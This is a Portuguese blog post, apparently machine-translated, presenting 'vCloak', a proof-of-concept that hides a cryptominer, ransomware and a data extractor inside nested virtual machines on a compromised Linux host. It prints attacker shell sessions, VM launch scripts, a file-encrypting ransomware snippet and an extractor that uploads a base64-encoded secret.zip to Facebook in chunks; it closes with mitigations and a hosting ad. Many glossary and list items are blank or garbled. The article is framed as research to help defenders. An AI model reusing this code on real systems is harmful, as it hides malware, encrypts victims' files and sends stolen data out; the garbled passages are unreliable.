Camuflagem virtual: uma abordagem maliciosa para virtualização

A virtualização é uma faca de dois gumes O 



desenvolvimento vitorioso da nuvem nos últimos anos pode ser atribuído ao aprimoramento gradual de muitas tecnologias ao mesmo tempo, relacionadas tanto a hardware quanto a software. Mas talvez a tecnologia mais conhecida seja aquela em que essas duas áreas convergem: estamos falando de virtualização. Em termos simples, a virtualização é o ato de abstrair componentes de hardware (por exemplo, processador, memória, unidades de disco, etc.) e representá-los em uma camada de software que é mais dinâmica do que hardware e tem melhor escalabilidade. Essa característica fundamental da virtualização se presta à criação de serviços on-line sob demanda, sob medida, confiáveis ​​e altamente disponíveis - hoje chamados de nuvem.   



No entanto, há um lado negro nesta grande tecnologia orientada para o paradigma. Existem fornecedores de nuvem que se beneficiaram por anos com a abstração que a virtualização fornece e é usada para protegê-lo, e há invasores que logo perceberam como a virtualização pode se voltar contra você. Nos últimos anos, algumas ameaças foram observadas - algumas delas apenas pensadas conceitualmente, outras já encontradas na prática - usadas em intrusões para mascarar atividades maliciosas. Isso é "virtualização destrutiva" ou, como a chamamos, "camuflagem virtual".  



Neste post, vamos explorar quem pode ser vítima dessas táticas, fornecer uma visão geral da pesquisa destinada a compreender este segmento de ameaças, levando em consideração as técnicas de virtualização mais recentes, examinando em detalhes "vCloak" (camuflagem virtual) para Linux . Este é um projeto PoC comercializado como uma "prova de viabilidade". Criaremos malware camuflado em várias camadas que é discreto e minimalista, mas ainda tem a portabilidade, persistência e confiabilidade que a virtualização é usada para alcançar. Queremos dissipar os mitos que cercam esse novo vetor de ataques e ajudá-lo a entender melhor como esse novo vetor de ataques funciona e explicar como um invasor pode usar a virtualização como arma. Reserve um tempo para terminar de ler:Como bônus, também discutiremos algumas das maneiras de mitigar a nocividade desses ataques.

Conforme mencionado acima, a virtualização é um ato de abstração do hardware. Mas para entender melhor o material deste post, você precisa se aprofundar um pouco mais no assunto. Portanto, vamos avançar para o momento em que a era da virtualização começou. A ideia de virtualizar hardware não é nova; Suas raízes podem ser rastreadas até a década de 1960, quando a IBM se esforçou muito em um novo conceito chamado compartilhamento de tempo (Figura 2). Em sua forma mais simples, o conceito se resume a isto: os usuários podem compartilhar um processador por meio de ultra- troca rápida de contexto. Foi possível chegar a essa ideia, percebendo que cada usuário tem tempo para consumir apenas uma pequena fração do potencial de todo o computador. Considerando,que naquela época um computador ocupava uma sala inteira e custava cerca de US $ 20 milhões (corrigido pela inflação), parecia aconselhável usá-lo ao máximo. A virtualização moderna é baseada no mesmo princípio - compartilhar recursos da máquina, mas mantendo uma separação lógica.





FIG. 1: O painel IBM 7094, onde o conceito de compartilhamento de tempo foi implementado pela primeira vez ( imagem de propriedade do usuário da Wikipedia ArnoldReinhold , licenciada sob  Creative Commons BY-SA 3.0 )

Como a virtualização moderna começou

O artigo « Requisitos formais para arquiteturas virtualizáveis ​​de terceira geração « («Requisitos formais arquiteturas virtualizáveis ​​de terceira geração")  Gerald Popek e Robert Goldberg apresentaram o primeiro modelo bem definido de virtualização, lançou as bases dos conceitos usados ​​até hoje (Figura 3 ) Este artigo apresentou alguns requisitos básicos para virtualização e classificou e analisou várias instruções de máquina. Abaixo, em formato de folha de dicas, é fornecida uma visão geral dos conceitos acima mencionados.





1971 Representação // Como a virtualização era visto em 1971



Modern Representação // Modern



VMM Representação // Virtual Machine



Hardware Monitor de //



VM Hardware // Virtual Machine



Applications //



Sistema Operacional Aplicações //



Virtual Machine Sistema operacional //



Virtual Machine Monitor / / Monitor de Máquina Virtual Máquina



Física / Hardware // Máquina Física / Hardware



Figura 2: Comparação: visão Popeck x Goldberg x visão generalizada moderna (tirado de  usenix )

Glossário de virtualização

• /VMM ( ) –  «», : , . 
• - – ( ), VMM
• /VM/ – , , machine VMM
• :
• ( 0 – 3) ,  
• ( 0) ( 3) VM VM/VMM
•  (CPL),  CS ( )  ,  DPL ( ),  
• :
• , 0
• (HLT, LIDT)
• (INVLPG)
• /   (RDMSR, WRMSR, MOV CRx)
• OS
•   — MMIO (- ) / (IN/OUT, MOV   <MEMORY_MAPPED_REGISTER>)
  
  - , (POPF)
  
  VM
  
  
•  –  
•  – , «»   
• :
• , ,   
• - ,  
• :
• , API-  
• , ,  
•  –
•  
• , (., x86 vs AMD)

Figura 3: Tipos de virtualização



Virtualização //



Bare metal hypervisors // Bare metal hypervisors //



Hosted Hypervisors // Host hipervisores



Emuladores // Emuladores de



virtualização de hardware // Hardware virtualization

Compreensão intuitiva da virtualização

O glossário acima, como qualquer folha de dicas, carece de contexto para a perfeição da percepção, mas existem muitos chavões (ver Fig. 4). Tentaremos resumir o mais importante desses elementos, sacrificando alguns detalhes para maior clareza. Como você pode ver no glossário, uma das partes mais difíceis do trabalho de virtualização é lidar com instruções privilegiadas / confidenciais. 



Instruções privilegiadas são aquelas que permitem ao chamador assumir o controle de recursos críticos. Eles são essenciais para proteger o sistema de atividades maliciosas e programas não controlados do espaço do usuário. São, por exemplo, as instruções HLT (controle do fluxo de execução na CPU com possibilidade de suspensão), o efeito no mapeamento da memória ao invalidar os registros de página no buffer associativo de tradução  (INVLPG) ou o acesso a registros especiais (RDMSR , WRMSR, MOV CR). Instruções privilegiadas podem conceder acesso irrestrito à máquina host (por exemplo, controle sobre todos os manipuladores de interrupção ).



As instruções sensíveis podem ser interpretadas como instruções privilegiadas "do ponto de vista" do hóspede. Isso inclui operações como interação com dispositivos de entrada / saída (IN / OUT), gravação em registros mapeados na memória (MOV) ou instruções que operam de forma diferente dependendo de qual anel de proteção é executado; tal é, por exemplo, escrever no registo  EFLAGS (POPF). Instruções confidenciais podem conceder acesso irrestrito à máquina convidada (por exemplo, gravar diretamente em dispositivos de E / S e obter privilégios de host). 



Os anéis de proteção são usados ​​para interceptar instruções privilegiadas e ativar o kernel para processar sua execução. No entanto, não há muito tempo não havia suporte de hardware para esse tipo de captação de instruções sensíveis, o que não é necessariamente um perigo para o hospedeiro, mas para o convidado ainda é um ponto de falha. São utilizadas técnicas baseadas em software, como emulação usando tradução binária estática ou dinâmica ou paravirtualização por meio de modificação de convidado, mas ao custo de severa degradação de desempenho / flexibilidade.  



Como solução, o suporte de hardware para instruções confidenciais foi introduzido pela adição de outro anel de segurança (também chamado de "anel 1" ou "modo admin"). Essa prática se espalhou em 2005 e 2006, quando a Intel e a AMD lançaram o  VT-x  e o  AMD-V , respectivamente. A otimização foi inicialmente muito direta e poucas operações de virtualização foram assistidas por hardware. Mas logo, esse suporte se estendeu a muitas outras operações, em particular,  virtualização da unidade de gerenciamento de memória (MMU).... A virtualização assistida por hardware é agora a solução preferida por causa de seus benefícios operacionais e maior segurança, enquanto mantém os custos de desempenho em um mínimo - inestimável na nuvem. 

Virtualizar e proteger

Figura 4: Pilha KVM-QEMU e fluxo correspondente (imagem cortesia do usuário da Wikipedia  V4711 , licenciado sob  Creative Commons BY-SA 4.0 )



A justificativa mais importante para a virtualização é aproveitar ao máximo seus recursos e, ao mesmo tempo, mantê-los protegidos e isolados uns dos outros. Hipervisores modernos, equipados com os recursos de software e hardware mais recentes, permitem que você crie uma variedade de máquinas virtuais isoladas; de sistemas operacionais clássicos com todos os recursos (digamos, Ubuntu) a MicroVMs modernos e mínimos executando kernels leves (por exemplo, Firecracker + OSv). O isolamento de recursos como memória, dispositivos de sistema de arquivos e kernel protege a VM host e outras VMs convidadas da intrusão de uma VM convidada comprometida.



Por exemplo, se um exploit do kernel foi executado com sucesso em uma VM convidada e um invasor ganhou direitos de administrador sobre ele, ele ainda não romperia o isolamento. Se não houver uma vulnerabilidade de hipervisor, a VM host e outras VMs convidadas não serão afetadas pela intrusão, pois elas e a máquina comprometida têm kernels diferentes. Como qualquer outra estratégia de segurança, a virtualização não resolve todos os problemas; a virtualização está associada a vetores de ataque exclusivos inerentes apenas a ela. Aqui estão alguns exemplos de ataques específicos voltados especificamente para vulnerabilidades de virtualização:

• Drivers e compartilhamento (Figura 5, Círculo nº 1):
• Instantâneos (Figura 5, Círculo nº 2):
• Sandbox Escape (Figura 5, Círculo # 3):
• Tipos de vulnerabilidades:

Virtualizar e atacar

Muitos dos princípios básicos que tornam a virtualização uma abordagem defensiva tão eficaz e versátil podem ser transformados em armas. A ideia em si não é nova, estudos dessas ameaças já foram realizados. Pode ser feita menção ao Bashware , que mostrou como WSL (uma solução virtualizada para rodar um subsistema Linux no Windows) poderia ser adotado para esconder malware de todos os mecanismos de defesa modernos.



Em 14 de maio de 2020, essa teoria foi bem confirmada na prática, quando a notícia inundou com relatos de uma nova cepa de ransomware chamada " RagnarLocker. " Suas vítimas foram grandes empresas que operam na área de jogos, energia e álcool. Um pequeno VirtualBox, confiável e assinado digitalmente, executava uma pequena máquina virtual do Windows XP (menos de 500 MB), o que permitia criptografar secretamente e buscar dados da máquina da vítima. Mais tarde naquele ano, quase a mesma estratégia foi seguida pelo cartel Maze .



Todos os ataques discutidos acima usaram o VirtualBox  e é bastante pesado como um contêiner para malware. Além disso, não depende dos benefícios da virtualização assistida por hardware . Antes de entrar no assunto, vamos dar uma olhada mais de perto em quais aspectos qualitativos da virtualização um invasor pode tirar proveito:

•  – ,
•  – , , , ,  
•  — VM
• « SSL-» – MicroVM , ( SSL MITM)
•  – , , ,  
•  — ,
• – ,  
•  – , (»ShadowBunny«)
• – ,  

Com uma grande invasão, a virtualização tem um benefício. As sugestões podem ser resumidas como uma unidade confiável de execução e usadas para realizar operações que causariam suspeitas em um contexto diferente, por exemplo, executar discretamente código malicioso e roubar dados. Esses benefícios persistem porque a tecnologia de virtualização ainda é relativamente nova e esse aspecto sombrio da virtualização não está recebendo a atenção que merece. Conforme mencionado na introdução deste post, aqui tentaremos fornecer informações e ferramentas para ajudá-lo a se defender contra tais ameaças. Para fazer isso, considere o problema do ponto de vista do invasor e desenvolva uma prova da viabilidade de tal intrusão por meio da virtualização passo a passo.

Virtualização assistida por hardware e KVM

A funcionalidade de sabotagem em nosso projeto de treinamento é amplamente implementada usando um hipervisor localizado no espaço do kernel e no espaço do usuário. Nesta pesquisa, experimentamos algumas implementações gratuitas; uma análise detalhada de sua estrutura interna está além do escopo deste post.



Simplificando, a virtualização assistida por hardware é possível graças a dois modos de processador adicionais (privilégios de administrador para VMM e sua ausência para um convidado), bem como instruções especiais da Intel escritas em assembler (para interceptação eficiente), que são principalmente executadas pelo kernel . Aqui estão alguns exemplos:



Modo de administrador

• VMXOFF, VMXON
• VMWRITE e VMREAD

Modo não privilegiado (convidado)

• VMLUANCH e VMRESUME

VMLUANCH é organizado de forma um pouco diferente, pois pode ser executado a partir da VM guest para dar controle ao kernel, ou alternando para o kernel usando uma interrupção (da qual já falamos na introdução) ou VMEXIT. A tarefa de seu parceiro de espaço de usuário é alocar todas as estruturas de memória, definir gerenciadores VMEXIT de acordo com as várias necessidades VMEXIT e anexar outros recursos emulados / virtualizados.



Felizmente, para aqueles que não querem construir tudo do zero, o kernel Linux moderno suporta KVM (kvm.ko); este módulo do kernel realmente transforma o kernel do Linux em um hipervisor. O KVM fornece recursos Intel VT-x por meio da interface ioctl (2). O KVM também usa ativamente os recursos integrados do kernel do Linux para gerenciar sandboxes, que (na versão reforçada) são mais conhecidas como máquinas virtuais.

História de Ataque

Esse ataque envolve o uso privilegiado de uma máquina host Ubuntu comprometida com VT-x habilitado. O ataque usa cargas de informações maliciosas (mineiros e ransomware), executando de forma invisível em um host comprometido, escondido atrás de um disfarce virtual feito por ele mesmo (Figura 6)

1. Um processo privilegiado bifurca e descompacta "vCloak1" em um processo filho (assumido)
2. “VCloak1” configura e executa o nível L1 de nossa camuflagem, a máquina virtual Ubuntu Minimal em QEMU.
3. Do Ubuntu "vCloak2" configura e executa a Camada 2 (L2) de nossa camuflagem, estes são os três aplicativos OSv (explicados abaixo ...):

 

É hora de arregaçar as mangas! Para melhor legibilidade, vamos pular alguns dos trechos de código e dividir outros em detalhes. Nós convidamos você a explorar totalmente o código para esta implementação, bem como ferramentas e informações relacionadas; tudo isso está no repositório, o link para o qual é fornecido abaixo.

Figura 5: progresso do ataque

Preparando camuflagem para o nível 1

Vamos construir o vCloak1, que nos permitirá realizar o primeiro nível de nosso cloaking. Vamos usar uma máquina virtual mínima para o Ubuntu (poderíamos muito bem ter  compilado o Ubuntu para firecracker ) com o QEMU. Esta etapa é implementada usando vcloak1.sh, que é executado automaticamente pelo ponto de entrada supostamente privilegiado: 

attacker@host:~$ git clone https://github.com/ch-mk/vCloak.git

attacker@host:~$ cd PoC

attacker@host:~/PoC$ cat vcloak1.sh 

#   virtio,     

virtiofsd --socket-path=/var/run/vm001-vhost-fs.sock -o source=/root/supersecret \ #    Ubuntu 

qemu-system-x86_64 \

-chardev socket,id=char0,path=/var/run/vm001-vhost-fs.sock \

-device vhost-user-fs-pci,chardev=char0,tag=myfs \

-object memory-backend-memfd,id=mem,size=4G,share=on \

-numa node,memdev=mem \

attacker@host:~/PoC$ ./vcloak1.sh #    ,   
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
    

Listagem 1: Construindo camuflagem virtual de nível 1, Ubuntu mínimo no QEMU com virtiofs



Neste ponto, alcançamos a primeira fronteira de virtualização. Depois que o vCloak1 é carregado, ele executa o vCloak2, configurando e executando o segundo nível de nossa camuflagem.

Preparando camuflagem para o nível 2 

O vCloak2 executa o kernel VT-x com fiação mínima do sistema (Unikernel) de dentro da máquina virtual. Portanto, nossa VM guest da Camada 1 também deve oferecer suporte a KVM e VT-x (isso é fácil de testar; consulte a Listagem 2), para que possa servir como uma máquina host independente. Esse recurso recursivo é conhecido como virtualização aninhada. 

attacker@vcloak1:~/PoC$ lsmod | grep kvm #   KVM 

kvm_intel 282624 0

kvm 663552 1 kvm_intel

      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
    

Listagem 2: Verificando o KVM e construindo o nível 2 de nossa camuflagem O



segundo nível de nossa camuflagem é implementado como um script vcloak2.py, que é executado automaticamente pela tarefa crontab. Ele executa três máquinas virtuais firecracker diferentes que podem se comunicar por meio de um soquete compartilhado. Cada VM executa um kernel Unikernel, passado como "kernel.elf", com um único processo em execução no diretório raiz ("/") do sistema de arquivos, passado como "fs.img." A seguir explicaremos a natureza desses processos, mas por enquanto iremos apenas descrever a configuração inicial e a execução de uma máquina virtual típica com tecnologia de fogos de artifício.

attacker@vcloak1:~$ cat vcloak2.py #       crontab

def main(options):

# ,   firecracker is installed

dirname = os.path.dirname(os.path.abspath(__file__))

firecracker_path = find_firecracker(dirname, options.arch)

# Firecracker ,   

print_time(«Start»)

socket_path = '/tmp/firecracker.socket'

if options.api:

firecracker = start_firecracker(firecracker_path, socket_path)

#  ,         

kernel_path = options.kernel

if not kernel_path:

kernel_path = os.path.join(dirname, '../build/release/kernel.elf')

qemu_disk_path = options.image

if not qemu_disk_path:

qemu_disk_path = os.path.join(dirname, '../build/release/fs.img')

raw_disk_path = disk_path(qemu_disk_path)

cmdline = options.execute

if not cmdline:

with open(os.path.join(dirname, '../build/release/cmdline'), 'r') as f:

cmdline = f.read()

if options.arch == 'aarch64':

cmdline = «console=tty --disable_rofs_cache %s» % cmdline

else:

cmdline = «--nopci %s» % cmdline

client.configure_machine(options.vcpus, memory_in_mb)

print_time(«Configured VM»)

client.add_disk(raw_disk_path)

print_time(«Added disk»)

if options.networking:

client.add_network_interface('eth0', 'fc_tap0')

client.create_instance(kernel_path, cmdline)

print_time(«Created OSv VM with cmdline: %s» % cmdline)

if not options.api:

if options.verbose:

print(client.firecracker_config_json())

firecracker, config_file_path = start_firecracker_with_no_api(firecracker_path, client.firecracker_config_json())

else:

client.start_instance()

print_time(«Booted OSv VM»)

attacker@vcloak1:~$ python vcloak2.py # actual execution is automatic by crontab

attacker@vcloak1:~$ sudo apt update

      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
    

Listagem 3: vcloak2.py executa três contêineres VT-x



Até agora, tudo bem, mas o que essas instâncias do firecracker estão executando? Para semear a história do ataque, já foi mencionado que eles estão executando aplicativos OSv . OSv é um kernel unikernel modular gratuito, de uso geral, projetado para suportar com segurança um único  aplicativo Linux não modificado como um microVM em cima de um hipervisor, resultando em um kernel mínimo que é binário compatível com Linux. Soluções como OSv são, em comparação com MicroVM, o próximo passo em direção ao minimalismo; quando um kernel unikernel é criado para cada aplicativo, um aplicativo OSv é obtido com um kernel compactado até a secura.



Vamos ver como é fácil construir um aplicativo OSv a partir do código C ++ nativo:

attacker@vcloak1:~$ sudo apt update 

attacker@vcloak1:~$ sudo apt install git make build-essential libboost-system-dev qemu-system-x86 qemu-utils openjdk-8-jdk maven pax-utils python python-dev

attacker@vcloak1:~$ git clone https://github.com/cloudius-systems/osv.git #clone git repository

attacker@vcloak1:~$ cd osv

attacker@vcloak1:~/osv$ git submodule update --init –recursive # install # install examples and other dependencies

attacker@vcloak1:~/osv$ ls -l apps/native-example/ #checkout hello world app

total 40

-rwxrwxr-x 1 mc mc 16696 Dec 30 09:29 hello

-rw-rw-r-- 1 mc mc 77 Dec 30 09:20 hello.c

-rw-rw-r-- 1 mc mc 150 Dec 30 09:20 Makefile

-rw-rw-r-- 1 mc mc 57 Dec 31 00:09 module.py

-rw-rw-r-- 1 mc mc 49 Dec 30 09:20 README

-rw-rw-r-- 1 mc mc 28 Dec 30 09:20 usr.manifest

attacker@vcloak1:~/osv$ cat apps/native-example/hello.c #checkout actual c code

#include 

int main(){

printf(«Hello from C code\n»);

return 0;

}

attacker@vcloak1:~/osv$ ./scripts/build image=native-example #let’s wrap out app with OSv unikernel

attacker@vcloak1:~/osv$ ./scripts/run.py #execute latest OSv build

OSv v0.55.0-157-g0cf6acc7

eth0: 192.168.122.15

Booted up in 0.00 ms

Cmdline: /hello

Hello from C code
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
    

Listagem 4: Construindo e executando um programa C simples com OSv como um wrapper



Da mesma forma, você pode construir um aplicativo OSv em Python:

In a very similar way we can build an OSv app with python:

attacker@vcloak1:~/osv$ ./scripts/build image=python2x

attacker@vcloak1:~/osv$ ./scripts/run.py

OSv v0.55.0-157-g0cf6acc7

eth0: 192.168.122.15

Booted up in 0.00 ms

Cmdline: /python

Python 2.7.18 (default, Aug 4 2020, 11:16:42) 

[GCC 9.3.0] on linux2

Type «help», «copyright», «credits» or «license» for more information.

>>>
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
    

Listagem 5: Construindo e executando um programa python simples com OSv como um wrapper 



Conforme demonstrado brevemente acima, OSv é uma maneira poderosa e fácil de transformar aplicativos comuns em aplicativos Unikernel. Combinado com uma micro-máquina virtual como o Firecracker (ou opções de virtualização de hardware ainda menores), cria uma carga útil virtualizada mínima, mas de alto desempenho. Saiba mais sobre este ótimo produto na página OSv GitHub . Nesse estágio, tudo o que resta para terminarmos é escrever o código python necessário para cada um dos três aplicativos OSv, como prometemos.





Figura 6: a virtualização aninhada pode ser um pouco confusa às vezes 

Virtualização aninhada

Vimos como nossa camuflagem foi criada camada por camada e rastreamos a implantação de malware desde a primeira execução privilegiada até a criação de muitos kernels Unikernel mínimos formando a segunda camada de nossa camuflagem. Esses kernels Unikernel (nível 2) são virtualizados usando VT-x, KVM e firecracker em cima de outra máquina virtual rodando Ubuntu (nível 1), embora firecracker também possa ser usado neste nível.



Este estado "rudimentar" é alcançável graças à virtualização aninhada, um recurso suportado pelo KVM. Essa virtualização permite que a máquina convidada atue como a máquina host. Neste artigo, usei o termo “nível de camuflagem” um tanto vagamente, então o significado deste termo pode ser mais claro se o compararmos com os termos KVM para descrever virtualização aninhada (ou seja, L1 é uma máquina virtual rodando a partir de um host físico; L2 é uma máquina virtual em execução a partir da máquina convidada L1).

Criação de mineiro

No decorrer dos estudos descritos, muitas tentativas foram feitas para disfarçar, tanto mineradores de código aberto, adequados para uso real, quanto ferramentas minimalistas desse tipo, que só podem servir como prova de viabilidade. Para simplificar, apresentaremos rapidamente um minerador de código aberto desenvolvido por subhan-nadeem :

attacker@vcloak1:~/osv$ cat apps/python-miner/miner.py #   

import hashlib

def get_sha_256_hash(input_value):

return hashlib.sha256(input_value).hexdigest()

def block_hash_less_than_target(block_hash, given_target):

return int(block_hash, 16) < int(given_target, 16)

#     (  ,  ,  ,  ,   )

blockData = \

'01000000000000000000000000000000000000000000000000000000000000000000000' \

'03ba3edfd7a7b12b27ac72c3e67768f617fc81bc3888a51323a9fb8aa4b1e5e4a29ab5f' \

'49ffff001d1dac2b7c01010000000100000000000000000000000000000000000000000' \

'00000000000000000000000ffffffff4d04ffff001d0104455468652054696d65732030' \

'332f4a616e2f32303039204368616e63656c6c6f72206f6e20627266e6b206f66207365' \

'636f6e64206261696c6f757420666f722062616e6b73ffffffff0100f2052a010000004' \

'34104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649' \

'f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac00000000' \

.encode()

#   –    ,   -      

target = '0x00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'

solution_found = False

block_data_hexadecimal_value = int(blockData, 16)

nonce = 0

while not solution_found:

block_data_with_nonce = block_data_hexadecimal_value + nonce

#   

first_hash = get_sha_256_hash(hex(block_data_with_nonce).encode())

second_hash = get_sha_256_hash(first_hash.encode())

print('Nonce: ' + str(nonce))

print('Block hash:')

print(second_hash)

print('Is the block hash less than the target?')

solution_found = block_hash_less_than_target(second_hash, target)

print(solution_found)

if not solution_found:

nonce += 1
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
    

Listagem 6: trechos de código do minerador

Gerando o código de ransomware

Assim como no caso dos mineiros, muitas soluções foram testadas para a função de ransomware. Mas por uma questão de clareza, vamos dar uma olhada na versão PoC do ransomware por guihermej :

attacker@vcloak1:~/osv$ cat apps/python-ransom/ransom.py #   

#  

file_name = «foto.jpg»

file = open(file_name, «rb»)

file_data = file.read()

file.close()

#  

#os.remove(file_name)

#    (  AES)

key = «0123456789abcdef» # 16-  –    

aes = pyaes.AESModeOfOperationCTR(key)

crypto_data = aes.encrypt(file_data)

#  

new_file_name = file_name + «.pyransom» # ,   

new_file = open(new_file_name, 'wb')

new_file.write(crypto_data)

new_file.close()
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
    

Listagem 7: trechos de código do ransomware

Criação de um extrator

A tarefa deste componente é simples. Ele escuta a entrada do minerador ou do ransomware e, em seguida, a envia com segurança para uma API confiável (por exemplo, Facebook). Nesta parte, temos a chamada "fixação de certificado SSL grátis". Novamente, resolveremos as tarefas diante de nós usando o poder do código aberto. Desta vez, baseamos nosso código em um projeto GitHub de zone13 .

attacker@vcloak1:~$ cat apps/python-ransom/ransom.py #   

import facebook, time, base64, textwrap

def main():

cfg = {

#       ,   

«page_id» : «»,

«access_token» : «»

}

api = get_api(cfg)

#  zip-         base-64

msg = file_read_into_array()

# ,    

chunks = (len(msg) / float(50000)) 

if isinstance(chunks, float) or (a == 0):

chunks = int(chunks) + 1

#   base-64    50 000   

file_array = textwrap.wrap(msg, 50000)

#     Facebook 

for i in range(chunks):

status = api.put_wall_post(«Part####» + str(i) + « « + file_array[i])

time.sleep(0.5)

#    zip-   base-64 

def file_read_into_array():

with open(«secret.zip», «rb») as f:

a = f.read()

encoded_data = base64.encodestring(a)

return encoded_data

#       Facebook

def get_api(cfg):

graph = facebook.GraphAPI(cfg['access_token'])

resp = graph.get_object('me/accounts')

page_access_token = None

for page in resp['data']:

if page['id'] == cfg['page_id']:

page_access_token = page['access_token']

graph = facebook.GraphAPI(page_access_token)

return graph

if __name__ == «__main__»:

main()

      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
    

Listagem 8: trechos de código do extrator

Repetição e análise

Vamos repetir o que fizemos. Como prova de viabilidade, escrevemos um código malicioso que extrai, criptografa e pesca dados do host afetado. A carga útil primária forma a primeira camada de camuflagem (ou virtualização) com uma micro-máquina virtual baseada em Ubuntu na qual o host presumivelmente confia.



Doravante, a memória de todos os vários processos será representada como um único blob binário achatado. Todas as chamadas de API e o ecossistema do sistema operacional contido no MicroVM são invisíveis do lado de fora. Os certificados MicroVM não refletem a configuração do host, esses certificados são ocultados do host (em particular, isso permite que você se esconda das ferramentas de análise de tráfego usando a proteção SSL MITM).





Figura 7: A pilha de software vCloak; as linhas coloridas indicam os limites das áreas de virtualização individuais. 



Depois que o MicroVM conclui o processo de inicialização, ele carrega três kernels Unikernel diferentes baseados em VT-x e Firecracker, e esses kernels conterão lógica maliciosa. Com a ajuda de tais kernels Unikernel, outro nível de caos é introduzido no modelo de memória, não apenas porque outra camada de virtualização é adicionada aqui, mas também porque o espaço do usuário e o espaço do kernel não são separados um do outro no kernel Unikernel. Toda essa distorção complica seriamente o trabalho do operador da primeira máquina hospedeira, que descobriu a primeira camada de camuflagem e quer reverter sua lógica.



O malware disfarçado de várias camadas resultante não é apenas mais insidioso do que nunca, mas também de tamanho mínimo e, portanto, altamente portátil. Como a máquina virtual fornece todo o ambiente, há menos chance de falha devido a problemas de computação ou dependência.

Mais pesquisas e otimização

Figura 8:



Tabela de autoteste A tabela acima mostra as várias técnicas (colunas da Figura 9), organizadas por aspecto do ataque e a adequação de um vetor de ataque específico (primeira linha da Figura 9). As técnicas discutidas neste artigo estão listadas em células verdes, e outros ângulos que também abordamos no decorrer do estudo estão listados em células brancas. Antes de tentar dar alguns conselhos e concluir esta postagem, vamos dar uma olhada em como “fortalecer” nosso malware usando as técnicas mencionadas nas caixas brancas da tabela acima (Figura 8).

•  Extrator de memória compartilhada - você pode configurar o extrator para que ele compartilhe memória com malware e, portanto, não brilhe tanto nos dados compartilhados.
•  – - , .
•  – , , xmrig GonnaCry, .
•  – vCloak1, vCloack2, VM, MicroVM, Unikernel ELF, . .
•  – firecracker, , .
•  – KVM, , alternative can be produced to reduce payload size and add cloaking abilities.
•  – , , , MAP_EXCLUSIVE, SGX SVE\SME .
• Escopo estendido de ataque a um host  - não usamos essas oportunidades, uma vez que sua discussão está além do escopo deste artigo. É verdade que existem vulnerabilidades conhecidas que tornariam a camuflagem ainda mais eficaz.

Por fim, não se pode deixar de mencionar: embora isso não se aplique aos objetivos deste estudo, descobriu-se que é muito mais conveniente trabalhar com hipervisores, pois esses programas são populares, são conhecidos por terem muitas vulnerabilidades, e a frequência das atualizações dos hipervisores varia. As vulnerabilidades do hipervisor podem ser exploradas para melhorar o desempenho da camuflagem. A corrida entre invasores e guardas de rede é inflexível e implacável. Esperamos que as informações fornecidas neste artigo ajudem um pouco os leitores a entrar no assunto.  

Instrumentos

Enquanto pesquisava virtualização, criei várias ferramentas que me ajudaram nesta pesquisa:

• Esta implementação piloto
• Lista de links úteis
• Repositório:  https://github.com/ch-mk/vCloak.git

Eliminar a ameaça

O universo de máquinas virtuais e sistemas operacionais está se expandindo rapidamente, com novos recursos de software e hardware surgindo ao mesmo tempo. Investigar esses novos recursos de uma perspectiva de implantação de malware pode ajudar as



equipes de segurança cibernética. Eliminar alguns dos comportamentos maliciosos mascarados pela virtualização é um desafio porque nada é visível no espaço virtualizado. Existem algumas maneiras de destacar esses pontos cegos, mas atualmente não existe uma solução padrão ou nativa desse tipo. No entanto, se você examinar toda a cadeia de ataque, poderá encontrar algumas contramedidas muito eficazes para conter a virtualização mal-intencionada.  



O que pode ser feito / recursos disponíveis:

• Coloque o hipervisor sob estrito controle RBAC / MAC (implementação Citrix )
• Reduza a superfície de ataque desativando recursos redundantes (por exemplo, compartilhamento redundante, que  geralmente é explicado no projeto Xen )
• Detecção de anomalias do hospedeiro (há um  estudo acadêmico interessante sobre isso por King Abdulalize e Stephen Walthusen)

Parcialmente disponível ou não disponível:

• Visibilidade dentro do estado da máquina virtual
• Crie um monitor de máquina virtual
• Identificação de anomalias no consumo de recursos do host por uma máquina virtual 

Conclusão

A virtualização é legal! Muitas coisas inovadoras são construídas na abstração fornecida pela virtualização, como nuvens, máquinas de endpoint e até mesmo os carros mais recentes. A virtualização melhora o desempenho e a segurança em geral, mas também tem um lado negro. Como os ataques recentes no mundo real mostraram, e conforme discutido neste artigo, um invasor pode tirar proveito de muitos dos recursos da virtualização. O uso das tecnologias mais recentes, em particular VT-x e sandboxing minimalista, torna a virtualização ainda mais sutil. 



O objetivo do vCloak é fornecer uma introdução prática ao problema de como a virtualização pode ser usada para implantar malware de forma invisível, para que os usuários estejam cientes desses tipos de ameaças e possam se defender contra elas.



O artigo também menciona alguns dos métodos para eliminar essas ameaças que estão disponíveis hoje, além de soluções planejadas para o futuro. Uma oportunidade importante que deve ser implementada para tornar a proteção contra a virtualização maliciosa uma tarefa mais desafiadora é aumentar a transparência dos processos que ocorrem na máquina virtual, bem como cuidar da neutralização efetiva das ameaças. O setor de segurança cibernética está se desenvolvendo e acompanhando as soluções modernas de virtualização, mas agora é a hora de ficar atento a essas ameaças e criar proteção contra elas com antecedência.

---

Os servidores em nuvem da Macleod são rápidos e seguros.



Cadastre-se pelo link acima ou clicando no banner e ganhe 10% de desconto no primeiro mês de aluguel de um servidor de qualquer configuração!